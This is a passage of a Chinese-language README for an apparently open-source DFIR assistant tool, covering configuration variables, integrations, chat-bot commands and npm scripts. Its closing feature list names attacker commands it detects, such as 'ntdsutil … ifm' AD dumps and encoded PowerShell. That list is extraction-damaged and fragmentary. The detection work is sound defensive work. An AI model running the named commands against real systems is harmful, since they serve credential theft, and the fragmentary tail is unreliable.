| `DFIR_VISION_BASE_URL` | 提供程序默认值 | 覆盖基础 URL — 用于本地 LiteLLM 代理或任何 OpenAI 兼容端点 |
| `DFIR_AI_TIMEOUT_MS` | `900000` | 每请求超时(ms);CLI 提供程序(claude-code、codex)在大型时间线上需要数分钟 |
| `DFIR_AI_MAX_TOKENS` | `16000` | 最大补全令牌数;过低会截断综合,防止 OpenRouter 在低余额时返回 402 |
| `DFIR_AI_SYNTH_MAX_EVENTS` | `600` | 发送到综合的取证事件上限;Critical/High 始终会获得发现,无论上限如何 |
| `DFIR_REPORT_SYNTH_COVERAGE` | _(关闭)_ | 设为真值以在报告中添加 **§3.4 综合覆盖率**脚注 — “考虑了窗口内 M 个事件中的 N 个(省略 K 个:预算/过滤)”、令牌估算,以及安全网回填恢复了多少高严重性遗漏。仪表盘 synth-meta 卡片始终显示此行;此标志仅控制它是否也出现在导出的报告中 |
| `DFIR_REPORT_MODEL_PERF` | _(关闭)_ | 设为真值以在报告中添加 **§3.5 模型性能**脚注 — 综合模型、发现数量与安全网回填不得不添加的数量、解析重试次数,以及(当第二意见已运行时)`DFIR_AI_SECOND_OPINION_MODEL` 与 `DFIR_AI_MODEL`/`DFIR_AI_SYNTH_MODEL` 一致的频率。仪表盘 synth-meta 卡片始终显示此项;此标志仅控制它是否也出现在导出的报告中 |
| `DFIR_AI_CONTEXT_TOKENS` | `128000` | 模型上下文窗口;对于 Claude/Gemini(200k/1M)调高以每次调用发送更多内容 |
| `DFIR_VISION_IMAGE_DETAIL` | `high` | `high` \| `low` \| `auto`(OpenAI/OpenRouter);`high` 以全分辨率分块以进行小文本 OCR |
| `DFIR_AI_AUTO_SYNTHESIZE` | `on` | 捕获期间重新综合:`on` \| `off` |
| `DFIR_AI_AUTO_SYNTHESIZE_MS` | `8000` | 自动综合触发前的防抖窗口(ms) |
| `DFIR_FLUSH_INTERVAL_MS` | `300000` | 剩余捕获缓冲区的安全网刷新(ms);`0` 禁用 |
| `DFIR_ANONYMIZE` | `on` | 在 AI 调用前对受害者 IP/主机/用户/路径进行令牌化:`on` \| `off` |
| `DFIR_PRESIDIO_URL` | _(未设置)_ | 可选:自运行 [Presidio](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/presidio.md) Analyzer 容器的基础 URL(例如 `http://localhost:5002`),用于扫描已掩码文本中的姓名和其他正则无法捕获的 PII。未设置 = 功能关闭。 |
| `DFIR_PRESIDIO_MIN_SCORE` | `0.6` | Presidio 发现的置信度下限(0–1);空白/非数字回退到默认值,超出范围的值会被钳制 |
| `DFIR_PRESIDIO_TIMEOUT_MS` | `60000` | 一次 `/analyze` 请求的预算(扫描会分块;每个块获得完整预算)。对于缓慢或共享的分析器请调高;空白/非数字/≤0 回退到默认值 |
> 上述截图/视觉变量(`DFIR_VISION_PROVIDER` / `DFIR_VISION_MODEL` / `DFIR_VISION_KEY` / `DFIR_VISION_BASE_URL` / `DFIR_VISION_IMAGE_DETAIL`)已从 `DFIR_AI_*` 前缀重命名;旧名称 `DFIR_AI_PROVIDER` / `DFIR_AI_MODEL` / `DFIR_AI_KEY` / `DFIR_AI_BASE_URL` / `DFIR_AI_IMAGE_DETAIL` 仍可作为已弃用的回退使用(两者都设置时新名称优先)。
**Claude Code** — 通过 `claude` CLI 使用你已登录的 Claude 订阅,无需 API 密钥;处理视觉 + 文本(截图提取*和*综合)。要求主机上已安装 `claude` CLI 并完成 `claude auth login`。会消耗你的订阅速率限制(大量提取可能耗尽它们);报告的成本是 API 等价值,而非自付费用。设置 → AI 显示连接状态(未安装 / 未连接 / 已连接),并提供一键连接操作。
### AI — 文本模型(双层,可选)
划分是**视觉 vs 文本**:`DFIR_VISION_MODEL` 读取截图(必须多模态);`DFIR_AI_SYNTH_*` 模型执行**所有文本工作** — CSV 提取、日志分类、综合、提问/解释。如果未设置,文本工作复用 `DFIR_VISION_MODEL`。
**Codex** — 设置 `DFIR_AI_SYNTH_PROVIDER=codex`(对 velo / 第二意见提供程序同样有效)以通过本地 OpenAI **Codex CLI**(`codex exec`)运行文本工作,使用你环境中的 codex 身份验证 — `codex login` 或 `OPENAI_API_KEY`,**无需 `DFIR_AI_KEY`**。Codex 是**纯文本**的(无法读取截图),因此请将其与视觉提供程序配对用于提取;它会将数据发送到 OpenAI(非本地)。要求安装 `@openai/codex`。可选的 `DFIR_AI_CODEX_BIN` 指向不在 PATH 中的 `codex`。设置 → AI 显示 codex 连接状态(未安装 / 未连接 / 已连接),并提供一键连接操作。
推荐:用便宜的视觉模型处理截图,用强推理模型处理文本。不要在文本模型上省钱 — 弱模型会*静默地*使日志分类失败,返回零事件而非错误事件(`npm run eval:real` 正是衡量这一点)。
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_AI_SYNTH_PROVIDER` | = `DFIR_VISION_PROVIDER` | 文本工作(CSV/日志/综合)的提供程序 |
| `DFIR_AI_SYNTH_MODEL` | = `DFIR_VISION_MODEL` | 文本模型 id — CSV/日志提取 + 综合(例如 `gpt-4o`、`gemini-2.5-pro`、`claude-sonnet-4-6`) |
| `DFIR_AI_SYNTH_KEY` | = `DFIR_VISION_KEY` | 文本模型 API 密钥 |
| `DFIR_AI_SYNTH_BASE_URL` | = `DFIR_VISION_BASE_URL` | 综合基础 URL |
### AI — Velociraptor 狩猎模型(可选)
一个专用模型,**仅**用于生成 Velociraptor VQL 狩猎(*建议 Velociraptor 狩猎* / *Fleet Hunts* 功能),独立于提取/综合/OCR — 许多模型会搞砸 VQL。也可在**设置 → AI**中编辑。
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_AI_VELO_PROVIDER` | `openrouter` | VQL 狩猎生成的提供程序 |
| `DFIR_AI_VELO_MODEL` | `anthropic/claude-haiku-4.5` | VQL 狩猎生成的模型 id |
| `DFIR_AI_VELO_KEY` | = `DFIR_VISION_KEY` | API 密钥(留空时复用主密钥) |
| `DFIR_AI_VELO_BASE_URL` | = `DFIR_VISION_BASE_URL` | 基础 URL 覆盖 |
### AI — 自定义提示(可选)
每个提示有两种覆盖形式(优先级顺序):`DFIR_AI_<NAME>_PROMPT`(内联文本,启动时读取)和 `DFIR_AI_<NAME>_PROMPT_FILE`(文件路径,每次调用重新读取 — 编辑后立即生效)。`npm run prompts:eject` 将内置默认值写出作为起点。
| 提示名称 | `<NAME>` 标记 |
|---|---|
| 每截图提取 | `SYSTEM` |
| CSV 导入分类 | `CSV` |
| 日志导入分类 | `LOG` |
| 整体综合 | `SYNTH` |
| 案件问答 | `ASK` |
| 执行摘要 | `EXEC` |
| 叙述时间线 | `NARRATIVE` |
| 建议的舰队狩猎 | `HUNTS` |
| 建议的剧本狩猎 | `PBHUNTS` |
| 时间线缺口假设 | `GAPHYP` |
| 查询翻译器(自然语言 → 查询) | `QUERYXLATE` |
### 威胁情报富化(可选 — 默认关闭)
添加密钥以启用该提供程序。所有外部提供程序均按案件从仪表盘选择启用。
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_VT_KEY` | — | VirusTotal API 密钥(哈希 / IP / 域名 / URL) |
| `DFIR_HUNTINGCH_KEY` | — | abuse.ch Auth-Key,用于 Hunting.ch(MalwareBazaar · ThreatFox · URLhaus · YARAify);回退到 `DFIR_MB_KEY` |
| `DFIR_MB_KEY` | — | 旧版 abuse.ch 密钥 — 驱动 Hunting.ch;优先使用 `DFIR_HUNTINGCH_KEY` |
| `DFIR_ABUSEIPDB_KEY` | — | AbuseIPDB API 密钥(IP 信誉) |
| `DFIR_CROWDSTRIKE_CLIENT_ID` | — | CrowdStrike Falcon TI OAuth2 客户端 ID |
| `DFIR_CROWDSTRIKE_CLIENT_SECRET` | — | CrowdStrike OAuth2 密钥(需要 *Indicators: Read* + *MalQuery: Read*) |
| `DFIR_CROWDSTRIKE_CLOUD` | `us-1` | 租户云:`us-1` \| `us-2` \| `eu-1` \| `gov-us-1` \| `gov-us-2` |
| `DFIR_CROWDSTRIKE_BASE_URL` | 来自云 | 显式 API 基础 URL(覆盖 `DFIR_CROWDSTRIKE_CLOUD`) |
| `DFIR_ROCKYRACCOON_KEY` | — | RockyRaccoon 密钥,用于 Windows 进程流行度 / LOLBIN / ATT&CK |
| `DFIR_MISP_URL` | — | MISP 实例 URL — 富化和推送均需要 URL + 密钥 |
| `DFIR_MISP_KEY` | — | MISP API 身份验证密钥 |
| `DFIR_MISP_CA` | — | 用于内部 CA MISP 的 PEM CA 捆绑包(验证保持开启) |
| `DFIR_MISP_INSECURE` | — | `=1` 跳过 TLS 验证(仅限实验室) |
| `DFIR_MISP_DISTRIBUTION` | `0` | 新事件分发:`0`=组织,`1`=社区,`2`=已连接,`3`=全部 |
| `DFIR_MISP_ANALYSIS` | `1` | 新事件分析状态:`0`=初始,`1`=进行中,`2`=完成 |
| `DFIR_MISP_TIMELINE_LIMIT` | `5000` | 每次推送的最大取证时间线事件数;超过上限时保留最严重的并发出推送警告 |
| `DFIR_YETI_URL` | — | YETI 实例 URL — 需要 URL + 密钥 |
| `DFIR_YETI_KEY` | — | YETI API 密钥 |
| `DFIR_YETI_CA` | — | 用于内部 CA YETI 的 PEM CA 捆绑包 |
| `DFIR_YETI_INSECURE` | — | `=1` 跳过 TLS 验证(仅限实验室) |
| `DFIR_OPENCTI_URL` | — | OpenCTI 实例 URL — 需要 URL + 密钥(哈希/ip/域名/url) |
| `DFIR_OPENCTI_KEY` | — | OpenCTI API 令牌 |
| `DFIR_OPENCTI_CA` | — | 用于内部 CA OpenCTI 的 PEM CA 捆绑包 |
| `DFIR_OPENCTI_INSECURE` | — | `=1` 跳过 TLS 验证(仅限实验室) |
| `DFIR_OPENCTI_MALICIOUS_SCORE` | `75` | 恶意判定的 `x_opencti_score` 阈值 |
| `DFIR_RDAP_URL` | `https://rdap.org` | 基于 RDAP 的 WHOIS 基础(无密钥;IANA 引导到所属 RIR) |
| `DFIR_GEOIP_URL` | `https://ipinfo.io/{ip}/json` | GeoIP URL 模板(无密钥 HTTPS;替换 `{ip}`;解析器也兼容 ip-api.com + ipwho.is) |
| `DFIR_GEOIP_KEY` | — | 可选 GeoIP 密钥(填充 `{key}`,否则追加为 `?token=`),用于付费/自托管后端 |
| `DFIR_SHODAN_KEY` | — | Shodan API 密钥 — 也驱动 Shodan 主机查询 IP 富化器(与客户暴露共享) |
| `DFIR_HASHLOOKUP_URL` | `https://hashlookup.circl.lu` | CIRCL hashlookup 基础(无密钥的已知文件哈希 IOC 查询);为自托管 / 气隙镜像覆盖 |
| `DFIR_ENRICH_DELAY_MS` | `1500` | 查询之间的节流(ms) |
| `DFIR_ENRICH_JITTER_MS` | `0` | 添加到调用间等待的 ± 随机抖动(ms);分散对齐/并行运行,使它们不会同时撞上提供程序的速率限制窗口 |
| `DFIR_ENRICH_RETRIES` | `2` | 遇到 429 的提供程序调用的重试次数,在提供程序发送 `Retry-After` 时遵守它,之后才计为错误 |
| `DFIR_ENRICH_RETRY_BACKOFF_MS` | `1000` | 提供程序未给出 `Retry-After` 时,首次 429 重试前的基础退避(每次尝试翻倍,上限 30s) |
| `DFIR_ENRICH_MAX` | `100` | 每富化批次查询的最大 IOC 数(哈希/IP 优先) |
| `DFIR_ENRICH_MAX_BATCHES` | `20` | 一次富化启动可链接多少个受限批次。IOC 数超过 `DFIR_ENRICH_MAX` 的案件不再停在上限:运行会保存,然后从上次中断处开始下一批次,最多到此数量。`1` 恢复旧的单次运行行为。上限仍留下的内容会在状态行中报告,而非静默丢弃 |
| `DFIR_ENRICH_HEALTH_TTL_MS` | `60000` | 自托管提供程序的上/下判定缓存(ms) |
| `DFIR_ENRICH_HEALTH_POLL_MS` | `60000` | 对下线提供程序的重新探测间隔;`0` 禁用后台轮询器 |
### 客户暴露(可选)
将**受害者组织自身**的域名/电子邮件与泄露数据库进行比对 — 绝不比对对手/IOC 域名。
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_HIBP_KEY` | — | Have I Been Pwned API 密钥 |
| `DFIR_HIBP_USER_AGENT` | `DFIR Companion` | HIBP User-Agent 头 |
| `DFIR_LEAKCHECK_KEY` | — | LeakCheck Pro API 密钥 |
| `DFIR_LEAKCHECK_DOMAIN_LIMIT` | `1000` | 每次域名搜索的最大记录数 |
| `DFIR_DEHASHED_KEY` | — | DeHashed v2 API 密钥 |
| `DFIR_DEHASHED_BASE_URL` | DeHashed 默认值 | 覆盖 DeHashed API 基础 URL |
| `DFIR_SHODAN_KEY` | — | Shodan 密钥(域名 → 暴露主机 / 端口 / CVE;无电子邮件查询) |
| `DFIR_EXPOSURE_DELAY_MS` | `1500` | 提供程序查询之间的节流(ms) |
### DFIR-IRIS 推送 / 导入(可选)
需要 URL 和密钥两者才能启用。同一连接驱动 **Push to DFIR-IRIS** 和 **Import from IRIS**(将现有 IRIS 案件的资产/IOC/时间线拉取到案件中)。
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_IRIS_URL` | — | IRIS 实例 URL |
| `DFIR_IRIS_KEY` | — | IRIS API 密钥 |
| `DFIR_IRIS_CA` | — | 用于内部 CA IRIS 的 PEM CA 捆绑包 |
| `DFIR_IRIS_INSECURE` | — | `=1` 跳过 TLS 验证(仅限实验室) |
| `DFIR_IRIS_CUSTOMER_ID` | `1` | 新 IRIS 案件的客户 id(推送) |
| `DFIR_IRIS_CLASSIFICATION_ID` | `1` | 新 IRIS 案件的分类 id(推送) |
### Timesketch 推送(可选)
需要 URL + 用户 + 密码三者才能启用推送。导出到 JSONL 无需任何配置即可工作。
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_TIMESKETCH_URL` | — | Timesketch 实例 URL |
| `DFIR_TIMESKETCH_USER` | — | 本地身份验证用户名 |
| `DFIR_TIMESKETCH_PASSWORD` | — | 本地身份验证密码 |
| `DFIR_TIMESKETCH_TIMELINE` | `DFIR-Companion Forensic Timeline` | 受管时间线名称 |
| `DFIR_TIMESKETCH_CA` | — | 用于内部 CA Timesketch 的 PEM CA 捆绑包 |
| `DFIR_TIMESKETCH_INSECURE` | — | `=1` 跳过 TLS 验证(仅限实验室) |
### Notion 导出(可选)
仅令牌即可启用。将目标页面/数据库与集成共享。“新建页面”需要数据库或父页面(环境默认值或每次导出时输入);“现有页面”更新你粘贴的页面。
| 变量 | 默认值 | 含义 |
|---|---|---|
| `DFIR_NOTION_TOKEN` | — | 内部集成密钥(Notion:设置 → 连接 → 开发你自己的) |
| `DFIR_NOTION_DATABASE_ID` | — | “新建页面”导出的默认数据库(调查模板) |
| `DFIR_NOTION_PARENT_PAGE_ID` | — | 替代默认值:在此父页面下创建新页面 |
| `DFIR_NOTION_CONTAINER_TITLE` | `🔍 DFIR Companion — Auto-generated` | Companion 拥有的受管块的标题 |
| `DFIR_NOTION_MAX_TIMELINE` | `500` | 写入 Notion 的最大时间线行数 |
| `DFIR_NOTION_CA` | — | 如果代理使用内部 CA,则为 PEM CA 捆绑包 |
| `DFIR_NOTION_INSECURE` | — | `=1` 跳过 TLS 验证(仅限实验室) |
### Velociraptor 实时狩猎 + 分类捆绑包(可选)
设置 `DFIR_VELOCIRAPTOR_API_CONFIG` 以启用。使用以下命令生成一次配置:```
velociraptor --config server.config.yaml config api_client --name dfir --role administrator,api api.config.yaml
Triage bundle(Settings → Velociraptor 标签页):Browse server artifacts 列出服务器可收集的
CLIENT artifact;组装并保存命名的 bundle(内置三个——Best Practice(快速见效
扫描)、Super-Timeline Triage(原始主机 artifact,仅路由到 super-timeline)和 Linux
Triage——全局存储在 cases/ 旁边的 bundles/ 中)。每个 bundle,包括内置的,都可以就地编辑——编辑会保存一个覆盖;Reset to default 会丢弃它。从仪表板的 Fleet Collection 面板将其中一个作为 hunt 运行(可选地按包含/排除标签 + 操作系统限定范围,以及一个 minimum-severity 导入下限)。collection timeout 是一个 bundle
设置(在编辑器中配置——对于像 THOR 这样的慢 artifact 请调高它;Velociraptor 的默认值是 600 秒),并且
在每次运行时自动应用。每个 hunt 还带有一个 relative expiry——它在稍后签到的客户端上继续调度的时长——可从 1 hour / 1 day / 1 week 中选择(默认 1 hour,而 Velociraptor 自身的
默认值是一周);它是编辑器中设置的按 bundle 默认值,可按运行覆盖。Bundle 还可以携带 per-artifact parameters(传递给 hunt 的
spec),这样重量级 artifact 在源头就输出更少——Best Practice 附带 **Hayabusa 固定为 RuleLevel=Critical/High/Medium
RuleStatus=Stable+Experimental**,以免淹没导入;通过构建器的可选 Advanced → parameters JSON 调整任何 artifact,
并用 per-artifact exclude filters(VQL WHERE,例如 NOT OSPath =~ 'pagefile')丢弃嘈杂的行。hunt 会保持打开直到过期,因此
Companion 会在 DFIR_VELO_HUNT_WAIT_MIN 之后自动收集并摄取结果行和任何
上传的 JSON 报告(例如通过 Generic.Scanner.ThorZIP 的 THOR/Hayabusa——对于这些,行不重要,
上传的 JSON 才重要;它会被自动检测并路由到正确的导入器),然后进行综合——或者点击实时作业卡上的 Collect
now 提前拉取。进行中的作业按案例持久化(state/velo-hunt.json)并且
在服务器重启后仍然存在;结果显示在仪表板时间线/IOC 上。| 变量 | 默认值 | 描述 |
|---|---|---|
DFIR_MCP_MODEL | (CLI 默认值) | 用于单次 MCP 工具调用的模型,传递给 claude --model。 |
DFIR_MCP_AGENT_MODEL | (CLI 默认值) | 用于 agentic 循环的模型,传递给 claude --model。 |
注册服务器是一个安全决策,而不仅仅是配置——参见 注册 MCP 服务器。
将新的/升级的发现、playbook 更新和调查里程碑推送到 Slack /
MS Teams webhook 或 SMTP 电子邮件。没有启用环境变量——通道在
仪表板中创建(⚙ Settings → Notifications)并存储在 cases/ 旁边的 notifications/config.json
(gitignored;它保存 webhook URL + SMTP 密码)。列表初始为空(选择加入)。每个通道有一个
severity threshold 和按事件开关(findings / playbook / milestones)。使用 Test 按钮
端到端验证通道。
⚠ OPSEC: 通知会将案例内容(finding/task 标题)发送给第三方。除非目标可信,否则不要在 敏感案例上启用。
Slack——创建 Incoming Webhook(无需手动 OAuth 范围;Slack 会自动添加 incoming-webhook):
DFIR Companion)并选择你的工作区。https://hooks.slack.com/services/T…/B…/…)。一个 webhook 发布到一个频道——为每个额外频道添加另一个 webhook(和另一个 Companion 通道)。
该 URL 是机密(任何拥有它的人都可以在那里发布),这就是为什么配置文件被 gitignored 并且 URL 在
API 响应中被脱敏。不需要像 chat:write 这样的 bot-token 范围——Companion 通过
incoming webhook 发布,而非 Web API。
MS Teams——向频道添加一个 Incoming Webhook 连接器(或一个 Power Automate "when a webhook request is received" 流)
并粘贴其 URL(Companion 发送 MessageCard)。SMTP 电子邮件——为通道提供主机/端口、
可选用户名+密码,以及 from/to;在提供时会使用机会性 STARTTLS + AUTH LOGIN。对于快速的
本地测试,将其指向 Mailpit(docker run -p 1025:1025 -p 8025:8025 axllent/mailpit)。
Telegram——使用 Bot API token + 聊天/频道/群组 ID:
/newbot,并复制 token(123456789:AAF…)。/start,然后打开 https://api.telegram.org/bot<TOKEN>/getUpdates;chat.id 是一个正整数。getUpdates;chat.id 是一个负整数。@mychannel。@getidsbot 以获取数字 ID(通常是 -100…)。已经在运行 war-room bot? 将 token 留空,只填写
聊天 ID——该通道会复用 .env 中的 DFIR_TELEGRAM_BOT_TOKEN,该字段会显示 (already set)。token
仅保留在 .env 中,因此在那里轮换它也会轮换此通道。仅当要通过不同的 bot 发送时才在此处输入 token;它随后会为此通道覆盖环境变量中的那个。
在此处输入的 token 存储在 notifications/config.json(cases/ 旁边)中,并且永远不会回显到
浏览器——仪表板只知道是否设置了 token,以及它是否来自 .env。
通知向外推送;这是回到内部的方式。从事件频道运行案例,而不是为每个问题 切换到仪表板:``` /dfir bind IR-2026-014 bind this channel to a case — every later command can omit the id /dfir status events, findings, IOCs, open questions /dfir findings top 5 by severity /dfir finding f3 one finding card /dfir iocs malicious IOCs filtered by verdict (flagged | malicious) /dfir ask what was the initial access vector? grounded AI answer (posted when ready) /dfir synthesize trigger a re-synthesis /dfir hunt T1059.001 note a technique to hunt (deploy it from the dashboard) /dfir unbind clear the binding
每个平台在你设置其密钥后启用:
**无需隧道** — 配套程序会向外发起连接:
| 平台 | 命令如何到达 | 启用方式 |
|---|---|---|
| Slack | **Socket Mode — 出站 WebSocket** | `DFIR_SLACK_SOCKET_MODE=on` + `DFIR_SLACK_APP_TOKEN`(`xapp-…`,`connections:write`) |
| Telegram | **长轮询** | `DFIR_TELEGRAM_POLL=on` + `DFIR_TELEGRAM_BOT_TOKEN` |
或者作为入站 webhook,这需要一个公网地址:
| 平台 | 端点 | 启用方式 |
|---|---|---|
| Slack | `POST /integrations/slack/command` | `DFIR_SLACK_SIGNING_SECRET`(Basic Information → Signing Secret) |
| MS Teams | `POST /integrations/teams/command` | `DFIR_TEAMS_TOKEN`(`Authorization` 头中的共享密钥) |
| Telegram | `POST /integrations/telegram/command` | `DFIR_TELEGRAM_SECRET_TOKEN`(你传给 `setWebhook` 的 `secret_token`) |
**Telegram 无需隧道。** 使用 [@BotFather](https://t.me/BotFather) 创建机器人,设置两个
变量,重启,然后向它发送消息:```bash
DFIR_TELEGRAM_POLL=on
DFIR_TELEGRAM_BOT_TOKEN=123456789:AAF...
The companion 会调用 Telegram 并请求新命令,因此机器的任何信息都无法从互联网访问——这与通知器已经使用的出站方向相同。一个 bot 无法同时做到两者:先用 .../deleteWebhook 清除任何现有的 webhook。
Slack Socket Mode 是同样的思路:在应用上启用 Socket Mode,生成一个应用级 token(xapp-…,scope 为 connections:write),然后 companion 主动拨出连接到 Slack——无需 Request URL。
Webhook 模式会从互联网访问此 companion,通过你的隧道或反向代理——并且该主机名必须位于
DFIR_ALLOWED_HOSTS中,否则 DNS 重绑定防护会在 bot 看到请求之前将其拒绝。MS Teams 没有出站选项,因此它始终需要这种方式。
OPSEC —— 任何能在频道中发帖的人都可以拉取案件内容。受密码保护的案件完全拒绝通过聊天访问(聊天消息不携带解锁信息)。设置
DFIR_*_ACTION_USERS可将 AI 开销、重新合成和重新绑定限制为指定的响应人员;这样做也会将其他所有人限制在频道绑定的案件中。
示例 .env(两层 OpenRouter 设置):```
DFIR_VISION_PROVIDER=openrouter
DFIR_VISION_MODEL=openai/gpt-4o-mini # cheap extraction (per screenshot)
DFIR_VISION_KEY=sk-or-...
DFIR_AI_SYNTH_MODEL=google/gemini-2.5-pro # strong synthesis (one call)
DFIR_VISION_IMAGE_DETAIL=high
## npm 脚本 — 完整 CLI 参考
所有命令均从 `companion/` 目录运行。`--` 之后的参数会转发给脚本。
### `npm run dev`
启动服务器(读取 `.env`)。绑定 `127.0.0.1:4773`。仪表盘位于 `/dashboard`。```
npm run dev
npm run build使用 tsc 进行类型检查 / 编译。无参数。```
npm run build
### `npm test`
运行完整的 vitest 测试套件。无需参数。```
npm test
npm run verify:ai -- [caseId] [flags]一次性冒烟测试:从案例中间发送 3 张截图到已配置的模型,并确认响应能按 schema 解析。打印发现、取证事件和攻击者路径预览。
### `npm run coverage -- [caseId]`
报告某个案例的截图中有多少被分析、多少被跳过(重复项)、多少从未被处理。仅读取 `captures.jsonl` 和已索引的调查状态——不调用 AI。
| 参数 | 默认值 | 作用 |
| --- | --- | --- |
| `caseId`(位置参数) | `test1` | 要检查的案例。 |```
npm run coverage -- test1
npm run coverage -- mycase
npm run reanalyze -- <caseId> [flags]对案件已捕获的截图重新运行 AI 分析,重建调查状态。除非传入 --no-synthesis,否则最后会运行综合分析。
会消耗你的 API 配额(大约每 --window 张截图 1 次调用,外加 1 次综合分析调用)。
npm run reanalyze -- test1
npm run reanalyze -- test1 --reset
npm run reanalyze -- test1 --all --reset
npm run reanalyze -- test1 --reset --window 3
npm run reanalyze -- test1 --reset --model openai/gpt-4o
npm run reanalyze -- test1 --reset --provider gemini --model gemini-1.5-pro --key AIza...
npm run reanalyze -- test1 --reset
--model openai/gpt-4o-mini
--synth-model openai/gpt-4o
npm run reanalyze -- test1 --reset
--provider openrouter --model openai/gpt-4o-mini --key sk-or-...
--synth-provider openrouter --synth-model google/gemini-2.5-pro --synth-key sk-or-...
npm run reanalyze -- test1 --reset --no-synthesis
### `npm run synthesize -- <caseId> [flags]`
对完整(范围内的)取证时间线进行一次纯文本 AI 调用 → 发现、IOC、
MITRE 映射、攻击者路径、关键问题。优先使用 `DFIR_AI_SYNTH_*` 环境变量;否则
回退到提取模型。
| 参数 / 标志 | 默认值 | 作用 |
| --- | --- | --- |
| `caseId`(位置参数) | `test1` | 要合成的案例。 |
| `--provider NAME` | `DFIR_AI_SYNTH_PROVIDER` ?? `DFIR_VISION_PROVIDER` | 覆盖合成提供方。 |
| `--model ID` | `DFIR_AI_SYNTH_MODEL` ?? `DFIR_VISION_MODEL` | 覆盖合成模型。 |
| `--key KEY` | `DFIR_AI_SYNTH_KEY` ?? `DFIR_VISION_KEY` | 覆盖合成 API 密钥。 |
| `--base-url URL` | `DFIR_AI_SYNTH_BASE_URL` ?? `DFIR_VISION_BASE_URL` | 覆盖合成基础 URL(例如本地 LiteLLM 代理)。 |```
# Use whatever .env says
npm run synthesize -- test1
# Re-run conclusions with a stronger model (no re-capture needed)
npm run synthesize -- test1 --model openai/gpt-4o
# Switch provider for this run
npm run synthesize -- test1 --provider gemini --model gemini-1.5-pro --key AIza...
npm run clean-timeline -- <caseId> [--apply]从取证时间线中移除分析师/工具使用行(Velociraptor 搜索、笔记本、查询、“Response and Monitoring accessed”等)。不调用 AI。默认试运行。
| 参数 / 标志 | 默认值 | 作用 |
|---|---|---|
caseId(位置参数) | test1 | 要清理的案例。 |
--apply | 关闭 | 实际保存。不加此标志时,仅预览将被移除的内容。 |
npm run clean-timeline -- test1
npm run clean-timeline -- test1 --apply
清理后,重新运行 `npm run synthesize -- <caseId>` 以刷新结论。
## 推荐工作流程```
# Daily live capture (just start the server and browse)
npm run dev
# Verify a new model works against your case before committing to it
npm run verify:ai -- mycase --model openai/gpt-4o
# Check how complete the analysis is
npm run coverage -- mycase
# Recover a case with weak/empty findings: full rebuild
npm run reanalyze -- mycase --reset
# Timeline already good — only refresh conclusions
npm run synthesize -- mycase
# Strip noise from the timeline, then refresh conclusions
npm run clean-timeline -- mycase --apply
npm run synthesize -- mycase
# Two-tier cost-optimised rebuild
npm run reanalyze -- mycase --reset \
--model openai/gpt-4o-mini \
--synth-model google/gemini-2.5-pro
计划中的工作和想法在 enhancement 标签下以 GitHub Issues 的形式进行跟踪。
cd companion && npm test # server unit tests cd extension && npm test # extension unit tests
CI 在每个拉取请求上运行六道关卡——生产构建、测试类型检查、lint、格式检查,
以及文件大小和循环导入棘轮。所有这些都在本地运行:```
cd companion && npm run build && npm run typecheck && npm run lint && npm run format:check && npm run check:size && npm run check:imports && npm test
CONTRIBUTING.md 说明了每个门禁的用途以及当某个门禁失败时该怎么做——包括那些能让大多数类型错误只需一行即可修复的共享测试辅助工具。
DFIR Companion 按 “原样”提供,不附带任何形式的保证,无论是明示的还是默示的,包括但不限于对适销性、特定用途适用性、准确性及非侵权的保证。
它是一个 分析辅助工具,而非权威。 其输出——包括取证时间线、发现项、严重性评级、IOC、攻击者路径叙述、报告以及任何 AI 生成的结论——可能 不完整、不准确或具有误导性。 尤其是,它可能 夸大结果(误报或严重性虚高)或 完全遗漏事件、活动或指标(漏报)。所有输出在依赖、据以行动或纳入任何交付物之前,必须 由合格调查人员独立审查和验证。
在适用法律允许的最大范围内,作者和贡献者对任何直接、间接、附带、后果性或其他损害,或对因使用——或无法使用——本软件或其输出而产生的任何决定、行动或不作为,概不承担任何责任,包括但不限于夸大结果或遗漏事件。 您使用本软件 风险自负,并对您的调查、您的结论以及您对所有适用法律和授权的遵守承担全部责任。
DFIR Companion 是自由软件,基于 GNU Affero 通用公共许可证 v3.0(AGPL-3.0-only)授权。完整文本请参见 LICENSE。
版权所有 © 2026 Yaniv Radunsky。
简而言之:您可以自由使用、研究、修改和分享它——但如果您分发修改版本 或将修改版本作为网络服务运行,您必须在相同许可证下向用户提供您的完整源代码。(这是 DFIR 工具领域的惯例——Velociraptor、MISP 和 TheHive 也是 AGPL。)
DFIR_OCR_SEARCH=off 禁用;npm run ocr-index 回填)127.0.0.1,为扩展启用 CORS + 私有网络访问;拒绝无法识别的主机名,关闭 DNS 重绑定攻击(DFIR_ALLOWED_HOSTS)alert_fastyara -s -mscorethreat_level%ASA-#-######:<PRI>1 …Mmm dd …event.severity_label/api/events/api/sigma-alertslog show --style jsoncom.apple.quarantine.sfl2audit.k8s.iocolumnssnapshotpsortreport.json-r jsonmemory_payload.jsonyarascan_results.jsonl.eml.msg.bash_history.zsh_historyHISTTIMEFORMAT#epochaudit.logausearchaureportjournalctl -o json-o json-pretty-jalerts.jsonGET /security/eventsrule.levelnltest、Get-AD*、ntdsutil … ifm 及类似命令从 4104/4103 记录中连同其技术读出ssl/x509、Suricata tls)变为每个关系和每个证书一行;DNS 应答与同一客户端在 TTL 内的后续连接关联;Web 请求链仅通过两条记录都携带的标识符关联tags.yaml)— 规则引擎标记事件、提升严重性并合并 MITRE 技术-enc、[Convert]::FromBase64String);提取隐藏 IOC;显示 [Decoded] 块process_creation 规则还会狩猎 Sysmon / 4688 历史POST /cases/:id/push 推送警报(SIEM webhook、Velociraptor monitor、脚本)DFIR_FORENSIC_MIN_SEVERITY + 按案例覆盖配置,提升绕过门控,且仍从每个事件提取 IOCDetectRaptor.Windows.Detection.MFT)显示/隐藏事件,在取证和超级时间线上均适用j/k 在取证时间线上移动聚焦行高亮,f 星标,i 预填手动 IOC 表单,p 固定引用发现,n 打开评论,? 显示速查表;可在 Settings → General 切换,默认开启PUT /cases/:id/correlation-profile/dfir findings、/dfir iocs malicious、/dfir ask …;将频道绑定到案件,允许列表控制谁可以花费 AI 预算(#235)/mobile),用于查看发现/时间线/IOC 